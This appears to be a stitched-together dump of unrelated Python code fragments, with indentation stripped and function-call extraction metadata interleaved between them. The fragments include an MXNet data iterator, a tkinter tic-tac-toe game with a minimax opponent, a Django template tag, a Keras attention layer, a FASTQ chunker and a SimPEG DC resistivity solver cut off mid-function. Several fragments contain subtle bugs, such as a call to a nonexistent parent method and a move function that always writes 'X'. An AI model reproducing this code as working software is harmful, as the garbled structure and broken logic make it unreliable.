pass
def iter_next(self):
self.data_count += self.batch_size
return self.data_count <= self.epoch_size*self.batch_size
def next(self):
if self.iter_next():
data = self.get_data()
return DataBatch(data=[data[0]], label=[data[1]], pad=None, index=None)
else:
raise StopIteration
| [
"PIL.Image.fromarray",
"numpy.random.rand",
"preprocessing.calc_crop_params",
"multiprocessing.Process",
"os.path.join",
"mxnet.io.DataBatch",
"preprocessing.pad_image",
"numpy.array",
"preprocessing.random_flip",
"numpy.concatenate",
"numpy.expand_dims",
"mxnet.nd.array",
"multiprocessing.Q... | [((1715, 1734), 'multiprocessing.Queue', 'Queue', ([], {'maxsize': '(1000)'}), '(maxsize=1000)\n', (1720, 1734), False, 'from multiprocessing import Process, Queue\n'), ((1764, 1804), 'multiprocessing.Process', 'Process', ([], {'target': 'self._produce_flist_item'}), '(target=self._produce_flist_item)\n', (1771, 1804), False, 'from multiprocessing import Process, Queue\n'), ((1908, 1938), 'multiprocessing.Queue', 'Queue', ([], {'maxsize': 'data_queue_size'}), '(maxsize=data_queue_size)\n', (1913, 1938), False, 'from multiprocessing import Process, Queue\n'), ((2852, 2874), 'numpy.concatenate', 'np.concatenate', (['images'], {}), '(images)\n', (2866, 2874), True, 'import numpy as np\n'), ((2892, 2914), 'numpy.concatenate', 'np.concatenate', (['labels'], {}), '(labels)\n', (2906, 2914), True, 'import numpy as np\n'), ((4095, 4107), 'numpy.array', 'np.array', (['im'], {}), '(im)\n', (4103, 4107), True, 'import numpy as np\n'), ((4124, 4135), 'numpy.array', 'np.array', (['l'], {}), '(l)\n', (4132, 4135), True, 'import numpy as np\n'), ((4178, 4250), 'preprocessing.calc_crop_params', 'preprocessing.calc_crop_params', (['im_arr', 'self.scale_range', 'self.crop_size'], {}), '(im_arr, self.scale_range, self.crop_size)\n', (4208, 4250), False, 'import preprocessing\n'), ((4396, 4464), 'preprocessing.pad_image', 'preprocessing.pad_image', (['im_arr', 'l_arr', 'new_crop_size', 'self.rgb_mean'], {}), '(im_arr, l_arr, new_crop_size, self.rgb_mean)\n', (4419, 4464), False, 'import preprocessing\n'), ((4830, 4864), 'numpy.array', 'np.array', (['im_arr'], {'dtype': 'np.float32'}), '(im_arr, dtype=np.float32)\n', (4838, 4864), True, 'import numpy as np\n'), ((5052, 5083), 'numpy.array', 'np.array', (['l_arr'], {'dtype': 'np.uint8'}), '(l_arr, dtype=np.uint8)\n', (5060, 5083), True, 'import numpy as np\n'), ((5103, 5128), 'numpy.expand_dims', 'np.expand_dims', (['im_arr', '(0)'], {}), '(im_arr, 0)\n', (5117, 5128), True, 'import numpy as np\n'), ((5146, 5180), 'numpy.transpose', 'np.transpose', (['im_arr', '[0, 3, 1, 2]'], {}), '(im_arr, [0, 3, 1, 2])\n', (5158, 5180), True, 'import numpy as np\n'), ((2003, 2037), 'multiprocessing.Process', 'Process', ([], {'target': 'self._produce_data'}), '(target=self._produce_data)\n', (2010, 2037), False, 'from multiprocessing import Process, Queue\n'), ((2931, 2950), 'mxnet.nd.array', 'mx.nd.array', (['images'], {}), '(images)\n', (2942, 2950), True, 'import mxnet as mx\n'), ((2952, 2971), 'mxnet.nd.array', 'mx.nd.array', (['labels'], {}), '(labels)\n', (2963, 2971), True, 'import mxnet as mx\n'), ((3527, 3556), 'numpy.random.shuffle', 'np.random.shuffle', (['self.flist'], {}), '(self.flist)\n', (3544, 3556), True, 'import numpy as np\n'), ((4331, 4371), 'preprocessing.random_flip', 'preprocessing.random_flip', (['im_arr', 'l_arr'], {}), '(im_arr, l_arr)\n', (4356, 4371), False, 'import preprocessing\n'), ((6032, 6096), 'mxnet.io.DataBatch', 'DataBatch', ([], {'data': '[data[0]]', 'label': '[data[1]]', 'pad': 'None', 'index': 'None'}), '(data=[data[0]], label=[data[1]], pad=None, index=None)\n', (6041, 6096), False, 'from mxnet.io import DataIter, DataBatch\n'), ((926, 960), 'numpy.array', 'np.array', (['rgb_mean'], {'dtype': 'np.uint8'}), '(rgb_mean, dtype=np.uint8)\n', (934, 960), True, 'import numpy as np\n'), ((3638, 3674), 'os.path.join', 'os.path.join', (['self.root_dir', 'item[0]'], {}), '(self.root_dir, item[0])\n', (3650, 3674), False, 'import os\n'), ((3738, 3774), 'os.path.join', 'os.path.join', (['self.root_dir', 'item[1]'], {}), '(self.root_dir, item[1])\n', (3750, 3774), False, 'import os\n'), ((3819, 3834), 'logging.info', 'logging.info', (['e'], {}), '(e)\n', (3831, 3834), False, 'import logging\n'), ((3917, 3934), 'numpy.random.rand', 'np.random.rand', (['(1)'], {}), '(1)\n', (3931, 3934), True, 'import numpy as np\n'), ((4733, 4756), 'PIL.Image.fromarray', 'Image.fromarray', (['im_arr'], {}), '(im_arr)\n', (4748, 4756), False, 'from PIL import Image\n'), ((4975, 4997), 'PIL.Image.fromarray', 'Image.fromarray', (['l_arr'], {}), '(l_arr)\n', (4990, 4997), False, 'from PIL import Image\n')] |
from tkinter import *
from tkinter import messagebox as MSG
from PIL import Image, ImageTk
count=0
def WithPc():
# Design the window
root1 = Tk()
root1.geometry("550x390")
root1.title('AI Tic Tac Toe ')
root1.resizable(False, False)
root1.config(bg="#CAFAFE")
root1.iconbitmap("tic-tac-toe-icon.ico")
image1 = Image.open('tic-tac-toe.png')
test = ImageTk.PhotoImage(image1)
Label(image= test, bg="#CAFAFE").place(x=370, y=10)
# bcoz O is start
global playerX, playerO, clicked
clicked = True
bot = 'X'
player = 'O'
playerX = 0
playerO = 0
playerX_var = StringVar()
playerO_var = StringVar()
# return True if bot is win otherwise return false if player is win
def checkWhichMarkWon(mark):
global board
if board[1] == board[2] and board[1] == board[3] and board[1] == mark:
return True
elif (board[4] == board[5] and board[4] == board[6] and board[4] == mark):
return True
elif (board[7] == board[8] and board[7] == board[9] and board[7] == mark):
return True
elif (board[1] == board[4] and board[1] == board[7] and board[1] == mark):
return True
elif (board[2] == board[5] and board[2] == board[8] and board[2] == mark):
return True
elif (board[3] == board[6] and board[3] == board[9] and board[3] == mark):
return True
elif (board[1] == board[5] and board[1] == board[9] and board[1] == mark):
return True
elif (board[7] == board[5] and board[7] == board[3] and board[7] == mark):
return True
else:
return False
# Check Match is draw or not
def checkDraw():
global board
for key in board.keys():
if (board[key] == ' '):
return False
return True
# check which player is win
def checkForWin():
global board
if (board[1] == board[2] and board[1] == board[3] and board[1] != ' '):
b1.config(bg = 'red')
b2.config(bg = 'red')
b3.config(bg = 'red')
return True
elif (board[4] == board[5] and board[4] == board[6] and board[4] != ' '):
b4.config(bg='red')
b5.config(bg='red')
b6.config(bg='red')
return True
elif (board[7] == board[8] and board[7] == board[9] and board[7] != ' '):
b7.config(bg='red')
b8.config(bg='red')
b9.config(bg='red')
return True
elif (board[1] == board[4] and board[1] == board[7] and board[1] != ' '):
b1.config(bg='red')
b4.config(bg='red')
b7.config(bg='red')
return True
elif (board[2] == board[5] and board[2] == board[8] and board[2] != ' '):
b2.config(bg='red')
b5.config(bg='red')
b8.config(bg='red')
return True
elif (board[3] == board[6] and board[3] == board[9] and board[3] != ' '):
b3.config(bg='red')
b6.config(bg='red')
b9.config(bg='red')
return True
elif (board[1] == board[5] and board[1] == board[9] and board[1] != ' '):
b1.config(bg='red')
b5.config(bg='red')
b9.config(bg='red')
return True
elif (board[7] == board[5] and board[7] == board[3] and board[7] != ' '):
b3.config(bg='red')
b5.config(bg='red')
b7.config(bg='red')
return True
else:
return False
# disable all button wif player is win otherwise match is draw
def disable_all_buttons():
Label(root1, text='Reset Game', font='Helvetica 15 bold', height=1, width=14, bg="#CAFAFE").place(x=85, y=360)
b1.config(state=DISABLED)
b2.config(state=DISABLED)
b3.config(state=DISABLED)
b4.config(state=DISABLED)
b5.config(state=DISABLED)
b6.config(state=DISABLED)
b7.config(state=DISABLED)
b8.config(state=DISABLED)
b9.config(state=DISABLED)
# insert latter on button and displey it
def insertLatter(latter , position):
global board, playerX, playerO
if board[position] == ' ':
board[position] = latter
if position == 1: b1.config(text='X')
elif position == 2: b2.config(text='X')
elif position == 3: b3.config(text='X')
elif position == 4: b4.config(text='X')
elif position == 5: b5.config(text='X')
elif position == 6: b6.config(text='X')
elif position == 7: b7.config(text='X')
elif position == 8: b8.config(text='X')
elif position == 9: b9.config(text='X')
if(checkDraw()):
disable_all_buttons()
elif checkForWin():
if latter == 'X':
MSG.showinfo('AI Tic Tac Toe', 'Player X is winner')
playerX = playerX + 1
playerX_var.set('Player X : '+str(playerX))
disable_all_buttons()
else:
MSG.showinfo('AI Tic Tac Toe', 'Player O is winner')
playerO = playerO + 1
playerO_var.set('Player O : '+str(playerO))
disable_all_buttons()
else:
MSG.showwarning('AI Tic Tac Toe', 'Please Choose other position')
return
# for AI move
def CpuMove():
global clicked, board
if clicked == False:
clicked = True
bestScore = -800
bestMove = 0
for key in board.keys():
if board[key] == ' ':
board[key] = 'X'
score = minimax(board, 0, False)
board[key] = ' '
if score > bestScore:
bestScore = score
bestMove = key
insertLatter(bot, bestMove)
return
# using minmax algorith for best move of AI
def minimax(board, depth, isMaximizing):
if (checkWhichMarkWon(bot)):
return 1
elif (checkWhichMarkWon(player)):
return -1
elif (checkDraw()):
return 0
if isMaximizing:
bestScore = -800
for key in board.keys():
if board[key] == ' ':
board[key] = 'X'
score = minimax(board, depth+1, False)
board[key] = ' '
if (score > bestScore):
bestScore = score
return bestScore
else:
bestScore = 800
for key in board.keys():
if board[key] == ' ':
board[key] = 'O'
score = minimax(board, depth+1, True)
board[key] = ' '
if score < bestScore:
bestScore = score
return bestScore
# call from button
def b_click(b, num):
global clicked, board
Label(root1, text='Game is Start', font='Helvetica 15 bold', height=1, width=14,
bg="#CAFAFE").place(x=85, y=360)
if b['text'] == ' ' and clicked == True:
b['text'] = 'O'
board[num] = 'O'
clicked = False
if checkDraw():
disable_all_buttons()
MSG.showinfo('AI Tic Tac Toe', 'Match Is draw')
clicked = True
else:
CpuMove()
else:
MSG.showwarning('AI Tic Tac Toe', 'Please Choose other position')
# design the tic tac toe look
def reset():
global board
board = {1:' ', 2:' ', 3:' ',
4:' ', 5:' ', 6:' ',
7:' ', 8:' ', 9:' '}
global b1, b2, b3, b4, b5, b6, b7, b8, b9, Reset_Button
Label(root1, text='Start Game', font='Helvetica 15 bold', height=1, width=14, bg="#CAFAFE").place(x=85, y=360)
b1 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b1, 1))
b2 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b2, 2))
b3 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB",command=lambda:b_click(b3, 3))
b1.grid(row=0, column=0)
b2.grid(row=0, column=1)
b3.grid(row=0, column=2)
b4 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b4, 4))
b5 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b5, 5))
b6 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b6, 6))
b4.grid(row=1, column=0)
b5.grid(row=1, column=1)
b6.grid(row=1, column=2)
b7 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b7, 7))
b8 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b8, 8))
b9 = Button(root1, text=" ", font='Helvetica 20', height=3, width=6, bg="#3FEEEB", command=lambda:b_click(b9, 9))
b7.grid(row=2, column=0)
b8.grid(row=2, column=1)
b9.grid(row=2, column=2)
reset()
# reset button
Reset_Button = Button(root1, text='RESET', font='Helvetica 13 bold', height=1, width=17, bg="#4e5153", fg='#ffffff', command=reset)
Reset_Button.place(x=350, y=260)
# exit button
Button(root1, text='EXIT', font='Helvetica 12 bold', height=1, width=17, bg="#4e5153", fg='#ffffff', command=root1.destroy).place(x=350, y=310)
playerX_var.set('Player X : '+str(playerX))
playerO_var.set('Player O : '+str(playerO))
Label(root1, text='SCORE', font='Helvetica 20 bold', height=1, width=6, bg="#CAFAFE", fg='#FC0445').place(x=384, y=140)
Label(root1, textvariable=playerX_var, font='Helvetica 15 bold', height=1, width=9, bg="#CAFAFE").place(x=380, y=180)
Label(root1, textvariable=playerO_var, font='Helvetica 15 bold', height=1, width=9, bg="#CAFAFE").place(x=380, y=210)
root1.mainloop()
WithPc() | [
"tkinter.messagebox.showwarning",
"PIL.Image.open",
"tkinter.messagebox.showinfo",
"PIL.ImageTk.PhotoImage"
] | [((362, 391), 'PIL.Image.open', 'Image.open', (['"""tic-tac-toe.png"""'], {}), "('tic-tac-toe.png')\n", (372, 391), False, 'from PIL import Image, ImageTk\n'), ((404, 430), 'PIL.ImageTk.PhotoImage', 'ImageTk.PhotoImage', (['image1'], {}), '(image1)\n', (422, 430), False, 'from PIL import Image, ImageTk\n'), ((5586, 5651), 'tkinter.messagebox.showwarning', 'MSG.showwarning', (['"""AI Tic Tac Toe"""', '"""Please Choose other position"""'], {}), "('AI Tic Tac Toe', 'Please Choose other position')\n", (5601, 5651), True, 'from tkinter import messagebox as MSG\n'), ((7885, 7950), 'tkinter.messagebox.showwarning', 'MSG.showwarning', (['"""AI Tic Tac Toe"""', '"""Please Choose other position"""'], {}), "('AI Tic Tac Toe', 'Please Choose other position')\n", (7900, 7950), True, 'from tkinter import messagebox as MSG\n'), ((7727, 7774), 'tkinter.messagebox.showinfo', 'MSG.showinfo', (['"""AI Tic Tac Toe"""', '"""Match Is draw"""'], {}), "('AI Tic Tac Toe', 'Match Is draw')\n", (7739, 7774), True, 'from tkinter import messagebox as MSG\n'), ((5104, 5156), 'tkinter.messagebox.showinfo', 'MSG.showinfo', (['"""AI Tic Tac Toe"""', '"""Player X is winner"""'], {}), "('AI Tic Tac Toe', 'Player X is winner')\n", (5116, 5156), True, 'from tkinter import messagebox as MSG\n'), ((5354, 5406), 'tkinter.messagebox.showinfo', 'MSG.showinfo', (['"""AI Tic Tac Toe"""', '"""Player O is winner"""'], {}), "('AI Tic Tac Toe', 'Player O is winner')\n", (5366, 5406), True, 'from tkinter import messagebox as MSG\n')] |
from django import template
from core.models import Order
from django.contrib.auth.decorators import login_required
register = template.Library()
@login_required
@register.simple_tag
def product_cart_item_count(user,slug):
obj = Order.objects.filter(user__username=user,ordered=False)
if obj.exists():
obj2 = obj[0].items.filter(item__slug=slug)
if obj2.exists():
return obj2[0].quantity
return 0 | [
"django.template.Library",
"core.models.Order.objects.filter"
] | [((129, 147), 'django.template.Library', 'template.Library', ([], {}), '()\n', (145, 147), False, 'from django import template\n'), ((236, 292), 'core.models.Order.objects.filter', 'Order.objects.filter', ([], {'user__username': 'user', 'ordered': '(False)'}), '(user__username=user, ordered=False)\n', (256, 292), False, 'from core.models import Order\n')] |
# -*- coding: utf-8 -*-
"""
Created on Thu Aug 6 12:45:35 2020
@author: Abhilash
"""
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from keras import backend as k
from keras.layers import LSTM,Dense,Flatten,Bidirectional
from keras.activations import softmax,relu,elu,sigmoid
from keras.optimizers import Adagrad
from keras.initializers import glorot_uniform
from keras.regularizers import l2
from keras.constraints import min_max_norm
from keras.layers import Embedding,Input
from keras.preprocessing.text import Tokenizer
from keras.preprocessing.sequence import pad_sequences
from keras.layers import Layer
from keras.models import Sequential,Model
def compute_dot(z,kernel):
'''This is a simple dot product implementation with keras.backend'''
return k.dot(z,kernel)
class MiniAttentionBlock(Layer):
'''This is a Keras/Tensorflow implementation of Heirarchical Attention Networks for Document Classification (Yang etal,2015).
Link:[https://www.cs.cmu.edu/~./hovy/papers/16HLT-hierarchical-attention-networks.pdf0]
This is compatible with Keras and Tensorflow.
The input to this Layer should consist of 3 values-
Input 3D Tensor - (samples,steps,features)
The output of this Layer consists of 2 values-
Output 2D Tensor - (samples,features).
This Layer can be used after the Keras.Embedding() Layer .
This Layer can also be used on top of a LSTM/Bidirectional -LSTM/ GRU Layer ,return sequences should be
kept True.
This Layer can also be used before the Dense Layer (after LSTM layers).
It is recommended to use it either after the Embedding Layer or after the LSTM (recurrent) Layer and before the Dense Layer.
'''
def __init__(self,W_init,u_init,b_init,W_reg,u_reg,b_reg,W_const,u_const,b_const,bias=True):
'''This initializes the weights and biases for the Attention Layer.
The Weights have initializers,regularizers and constraints - denoted by W_<exp>
where <exp> can be init,reg or const. These are consistent to be used with keras initializers,
regularizers and constraints. The same is applied for bias and outputs (b and u).'''
init_fn=keras.initializers.glorot_uniform
self.W_init=W_init
self.u_init=u_init
self.b_init=b_init
reg_fn= keras.regularizers.l2
self.W_reg=W_reg
self.u_reg=u_reg
self.b_reg=b_reg
const_fn=keras.constraints.min_max_norm
self.W_const=W_const
self.u_const=u_const
self.b_const=b_const
self.bias=bias
super(MiniAttentionBlock,self).__init__()
def attention_block(self,input_shape):
'''This assigns the W,b and u with the values for Attention block.The Input of the Mini-Attention
Block consists of 3D Tensor.'''
assert(len(input_shape))==3
self.W=self.add_weight((input_shape[-1],input_shape[-1],),initializer=self.W_init,regularizer=self.W_reg,constraint=self.W_const,name="Weight Layer")
if self.bias==True:
self.Bias= self.add_weight((input_shape[-1],),initializer=self.b_init,regularizer=self.b_reg,constraint=self.b_const,name="Bias Layer")
self.u=self.add_weight((input_shape[-1],),initializer=self.u_init,regularizer=self.b_reg,constraint=self.b_const,name="Output Layer")
super(MiniAttentionBlock,self).attention_block(input_shape)
def build_nomask(self,inp):
'''This implements the Un-masked Attention Layer.The weights are computed along with the biases (if any).
Then the output is passed through a tanh activation.The weights are computed by dot product with the u layer.
The corresponding outputs are passed through an exponential unit and then normalized. The final weights are
computed as a dot product of the input tensor and the weights.'''
weights=compute_dot(inp,self.W)
if self.bias==True:
weights+=self.Bias
#apply tanh
weights=k.tanh(weights)
f_weights=compute_dot(weights,self.u)
f_weights=k.exp(f_weights)
#normalize
f_weights/=(k.sum(f_weights) + k.epsilon())
#output
f_weights=k.expand_dims(f_weights)
output_weights=compute_dot(inp,f_weights)
return k.sum(output_weights,axis=1)
| [
"keras.backend.sum",
"keras.backend.dot",
"keras.backend.epsilon",
"keras.backend.tanh",
"keras.backend.expand_dims",
"keras.backend.exp"
] | [((817, 833), 'keras.backend.dot', 'k.dot', (['z', 'kernel'], {}), '(z, kernel)\n', (822, 833), True, 'from keras import backend as k\n'), ((4051, 4066), 'keras.backend.tanh', 'k.tanh', (['weights'], {}), '(weights)\n', (4057, 4066), True, 'from keras import backend as k\n'), ((4131, 4147), 'keras.backend.exp', 'k.exp', (['f_weights'], {}), '(f_weights)\n', (4136, 4147), True, 'from keras import backend as k\n'), ((4253, 4277), 'keras.backend.expand_dims', 'k.expand_dims', (['f_weights'], {}), '(f_weights)\n', (4266, 4277), True, 'from keras import backend as k\n'), ((4343, 4372), 'keras.backend.sum', 'k.sum', (['output_weights'], {'axis': '(1)'}), '(output_weights, axis=1)\n', (4348, 4372), True, 'from keras import backend as k\n'), ((4187, 4203), 'keras.backend.sum', 'k.sum', (['f_weights'], {}), '(f_weights)\n', (4192, 4203), True, 'from keras import backend as k\n'), ((4206, 4217), 'keras.backend.epsilon', 'k.epsilon', ([], {}), '()\n', (4215, 4217), True, 'from keras import backend as k\n')] |
from algo import Algorithms
import pathfinder_gui
import DataStructures
def main():
choice = pathfinder_gui.options()
pathfinder_gui.main()
alg = Algorithms()
if choice == "BF":
alg.Breadthfirst()
elif choice == "DF":
alg.Depthfirst()
elif choice == "A*":
alg.aStar()
if __name__ == "__main__":
main()
| [
"pathfinder_gui.main",
"pathfinder_gui.options",
"algo.Algorithms"
] | [((105, 129), 'pathfinder_gui.options', 'pathfinder_gui.options', ([], {}), '()\n', (127, 129), False, 'import pathfinder_gui\n'), ((135, 156), 'pathfinder_gui.main', 'pathfinder_gui.main', ([], {}), '()\n', (154, 156), False, 'import pathfinder_gui\n'), ((168, 180), 'algo.Algorithms', 'Algorithms', ([], {}), '()\n', (178, 180), False, 'from algo import Algorithms\n')] |
#!/usr/bin/env python3
import argparse
import logging
import math
import os
import re
import sys
#class Chunk(object):
# def __init__(self, fname, offset, length):
# self.file = open(fname, 'rb')
# self.seek(offset)
# self.length = length
#
# def tell(self):
# actual_pos = self.file.tell()
# if actual_pos > offset + length:
# return length
# elif actual_pos < offset:
# return 0
# else:
# return actual_pos - offset
#
# def read(self, size=None):
# pos = self.tell()
# if size is None or size > length - pos:
# size = self.length - pos
# elif size
# return
class Chunker(object):
"""
Chunker: Provide (offset, length) of file chunks of roughly <chunksize> split on <search> boundaries.
>>> record = r'^@.*\n.*\n\+\n.*$'
>>> c = Chunker(myfile, chunksize=1024*1024*200, search=record)
>>> print(c.num_chunks)
>>>
>>> for i in range(c.num_chunks):
>>> c.get_chunk(i)
>>>
>>> for (offset, length) in c.chunks():
>>> # do something
>>>
"""
BUFSIZE = 1024*1024
CHUNKSIZE = 1024*1024*200
def __init__(self, fname, chunksize=None, searchlen=1024*100, search='>', debug=False):
if chunksize is None:
self._csize = self.CHUNKSIZE
else:
self._csize = chunksize
self.fsize = os.stat(fname).st_size
self._searchlen = searchlen # maxsize
self._search = search
self._debug = debug
assert(self._csize > self._searchlen)
self._f = open(os.path.realpath(fname), 'r')
@property
def num_chunks(self):
if not getattr(self, '_num_chunks', None):
i = int(math.ceil(self.fsize / self._csize) - 1) # i might be the last index
if self._get_start(i) is None: # nope, it's just a small piece of the previous chunk
i -= 1
# Sanity Check
for x in range(i):
try:
self._get_start(x)
except:
raise Exception("Could not find 'start' in chunk %d (offset %d)" % (x,i))
self._num_chunks = i + 1
return self._num_chunks
def chunks(self):
for i in range(self.num_chunks):
yield self.get_chunk(i)
def get_chunk(self, index):
start = self._get_start(index)
if start is None: return None
stop = self._get_start(index+1) or self.fsize
return (start, stop-start)
def _get_start(self, index):
"""find the start boundary for chunk"""
start = index * self._csize
if start >= self.fsize: return None # This is off the end of the file.
self._f.seek(start)
s = self._f.read(self._searchlen)
match = re.search(self._search, s, re.MULTILINE)
if match:
i = match.span()[0]
else:
#i = s.find(self._search)
#if i == -1:
if start+len(s) == self.fsize: # No start, our search has gotten us to the end of the file.
return None
else:
raise Exception("Search string not found. Is your search length too short?")
return start + i
def read_chunk(self, index):
chunk = self.get_chunk(index)
if chunk is None: return None
if self._debug:
sys.stderr.write("offset: %d\n" % chunk[0])
sys.stderr.write("length: %d\n" % chunk[1])
self._f.seek(chunk[0])
left = chunk[1]
while 1:
if left > self.BUFSIZE:
buf = self._f.read(self.BUFSIZE)
else:
buf = self._f.read(left)
left -= len(buf)
sys.stdout.write(buf)
sys.stdout.flush()
if left == 0:
break
class FastqChunker(Chunker):
def __init__(self, *args, **kwargs):
super(FastqChunker, self).__init__(*args, **kwargs)
self._search = r'^@.*\n.*\n\+\n.*$'
def parse_args():
p = argparse.ArgumentParser()
p.add_argument('fastq')
p.add_argument('-r', '--read_chunk', type=int)
p.add_argument('-c', '--chunk_size', default=None, type=int)
#p.add_argument('-s', '--search_len', default=None, type=int)
p.add_argument('-d', '--debug', action="store_true")
args = p.parse_args()
c = FastqChunker(args.fastq, args.chunk_size, debug=args.debug)
if args.read_chunk:
c.read_chunk(args.read_chunk-1)
else:
for x in c.chunks():
print(x)
if __name__ == '__main__':
parse_args()
| [
"math.ceil",
"argparse.ArgumentParser",
"sys.stdout.write",
"os.path.realpath",
"sys.stderr.write",
"os.stat",
"sys.stdout.flush",
"re.search"
] | [((4098, 4123), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (4121, 4123), False, 'import argparse\n'), ((2862, 2902), 're.search', 're.search', (['self._search', 's', 're.MULTILINE'], {}), '(self._search, s, re.MULTILINE)\n', (2871, 2902), False, 'import re\n'), ((1429, 1443), 'os.stat', 'os.stat', (['fname'], {}), '(fname)\n', (1436, 1443), False, 'import os\n'), ((1626, 1649), 'os.path.realpath', 'os.path.realpath', (['fname'], {}), '(fname)\n', (1642, 1649), False, 'import os\n'), ((3438, 3481), 'sys.stderr.write', 'sys.stderr.write', (["('offset: %d\\n' % chunk[0])"], {}), "('offset: %d\\n' % chunk[0])\n", (3454, 3481), False, 'import sys\n'), ((3494, 3537), 'sys.stderr.write', 'sys.stderr.write', (["('length: %d\\n' % chunk[1])"], {}), "('length: %d\\n' % chunk[1])\n", (3510, 3537), False, 'import sys\n'), ((3795, 3816), 'sys.stdout.write', 'sys.stdout.write', (['buf'], {}), '(buf)\n', (3811, 3816), False, 'import sys\n'), ((3829, 3847), 'sys.stdout.flush', 'sys.stdout.flush', ([], {}), '()\n', (3845, 3847), False, 'import sys\n'), ((1768, 1803), 'math.ceil', 'math.ceil', (['(self.fsize / self._csize)'], {}), '(self.fsize / self._csize)\n', (1777, 1803), False, 'import math\n')] |
from .. import Utils
from SimPEG.EM.Base import BaseEMProblem
from .SurveyDC import Survey
from .FieldsDC import FieldsDC, Fields_CC, Fields_N
import numpy as np
import scipy as sp
from SimPEG.Utils import Zero
from .BoundaryUtils import getxBCyBC_CC
class BaseDCProblem(BaseEMProblem):
"""
Base DC Problem
"""
surveyPair = Survey
fieldsPair = FieldsDC
Ainv = None
def fields(self, m=None):
if m is not None:
self.model = m
if self.Ainv is not None:
self.Ainv.clean()
f = self.fieldsPair(self.mesh, self.survey)
A = self.getA()
self.Ainv = self.Solver(A, **self.solverOpts)
RHS = self.getRHS()
u = self.Ainv * RHS
Srcs = self.survey.srcList
f[Srcs, self._solutionType] = u
return f
def Jvec(self, m, v, f=None):
if f is None:
f = self.fields(m)
self.model = m
# Jv = self.dataPair(self.survey) # same size as the data
Jv = []
A = self.getA()
for src in self.survey.srcList:
u_src = f[src, self._solutionType] # solution vector
dA_dm_v = self.getADeriv(u_src, v)
dRHS_dm_v = self.getRHSDeriv(src, v)
du_dm_v = self.Ainv * (-dA_dm_v + dRHS_dm_v)
for rx in src.rxList:
df_dmFun = getattr(f, f"_{rx.projField!s}Deriv", None)
df_dm_v = df_dmFun(src, du_dm_v, v, adjoint=False)
Jv.append(rx.evalDeriv(src, self.mesh, f, df_dm_v))
# Jv[src, rx] = rx.evalDeriv(src, self.mesh, f, df_dm_v)
# return Utils.mkvc(Jv)
return np.hstack(Jv)
def Jtvec(self, m, v, f=None):
if f is None:
f = self.fields(m)
self.model = m
# Ensure v is a data object.
if not isinstance(v, self.dataPair):
v = self.dataPair(self.survey, v)
Jtv = np.zeros(m.size)
AT = self.getA()
for src in self.survey.srcList:
u_src = f[src, self._solutionType]
for rx in src.rxList:
# wrt f, need possibility wrt m
PTv = rx.evalDeriv(src, self.mesh, f, v[src, rx], adjoint=True)
df_duTFun = getattr(f, f"_{rx.projField!s}Deriv", None)
df_duT, df_dmT = df_duTFun(src, None, PTv, adjoint=True)
ATinvdf_duT = self.Ainv * df_duT
dA_dmT = self.getADeriv(u_src, ATinvdf_duT, adjoint=True)
dRHS_dmT = self.getRHSDeriv(src, ATinvdf_duT, adjoint=True)
du_dmT = -dA_dmT + dRHS_dmT
Jtv += (df_dmT + du_dmT).astype(float)
return Utils.mkvc(Jtv)
def getSourceTerm(self):
"""
Evaluates the sources, and puts them in matrix form
:rtype: tuple
:return: q (nC or nN, nSrc)
"""
Srcs = self.survey.srcList
if self._formulation == "EB":
n = self.mesh.nN
# return NotImplementedError
elif self._formulation == "HJ":
n = self.mesh.nC
q = np.zeros((n, len(Srcs)))
for i, src in enumerate(Srcs):
q[:, i] = src.eval(self)
return q
class Problem3D_CC(BaseDCProblem):
"""
3D cell centered DC problem
"""
_solutionType = "phiSolution"
_formulation = "HJ" # CC potentials means J is on faces
fieldsPair = Fields_CC
bc_type = "Neumann"
def __init__(self, mesh, **kwargs):
BaseDCProblem.__init__(self, mesh, **kwargs)
self.setBC()
def getA(self):
"""
Make the A matrix for the cell centered DC resistivity problem
A = D MfRhoI G
"""
D = self.Div
G = self.Grad
MfRhoI = self.MfRhoI
A = D * MfRhoI * G
if self.bc_type == "Neumann":
Vol = self.mesh.vol
if self.verbose:
print("Perturbing first row of A to remove nullspace for Neumann BC.")
# Handling Null space of A
I, J, V = sp.sparse.find(A[0, :])
for jj in J:
A[0, jj] = 0.0
A[0, 0] = 1.0 / Vol[0]
# I think we should deprecate this for DC problem.
# if self._makeASymmetric is True:
# return V.T * A
return A
def getADeriv(self, u, v, adjoint=False):
D = self.Div
G = self.Grad
MfRhoIDeriv = self.MfRhoIDeriv
if adjoint:
return (MfRhoIDeriv(G * u).T) * (D.T * v)
return D * (MfRhoIDeriv(G * u) * v)
def getRHS(self):
"""
RHS for the DC problem
q
"""
RHS = self.getSourceTerm()
return RHS
def getRHSDeriv(self, src, v, adjoint=False):
"""
Derivative of the right hand side with respect to the model
"""
# TODO: add qDeriv for RHS depending on m
# qDeriv = src.evalDeriv(self, adjoint=adjoint)
# return qDeriv
return Zero()
def setBC(self):
if self.mesh._meshType == "TREE":
if self.bc_type == "Neumann":
raise NotImplementedError()
elif self.bc_type == "Dirchlet":
print(
"Homogeneous Dirchlet is the natural BC for this CC discretization."
)
self.Div = Utils.sdiag(self.mesh.vol) * self.mesh.faceDiv
self.Grad = self.Div.T
else:
if self.mesh.dim == 3:
fxm, fxp, fym, fyp, fzm, fzp = self.mesh.faceBoundaryInd
gBFxm = self.mesh.gridFx[fxm, :]
gBFxp = self.mesh.gridFx[fxp, :]
gBFym = self.mesh.gridFy[fym, :]
gBFyp = self.mesh.gridFy[fyp, :]
gBFzm = self.mesh.gridFz[fzm, :]
gBFzp = self.mesh.gridFz[fzp, :]
# Setup Mixed B.C (alpha, beta, gamma)
temp_xm = np.ones_like(gBFxm[:, 0])
temp_xp = np.ones_like(gBFxp[:, 0])
temp_ym = np.ones_like(gBFym[:, 1])
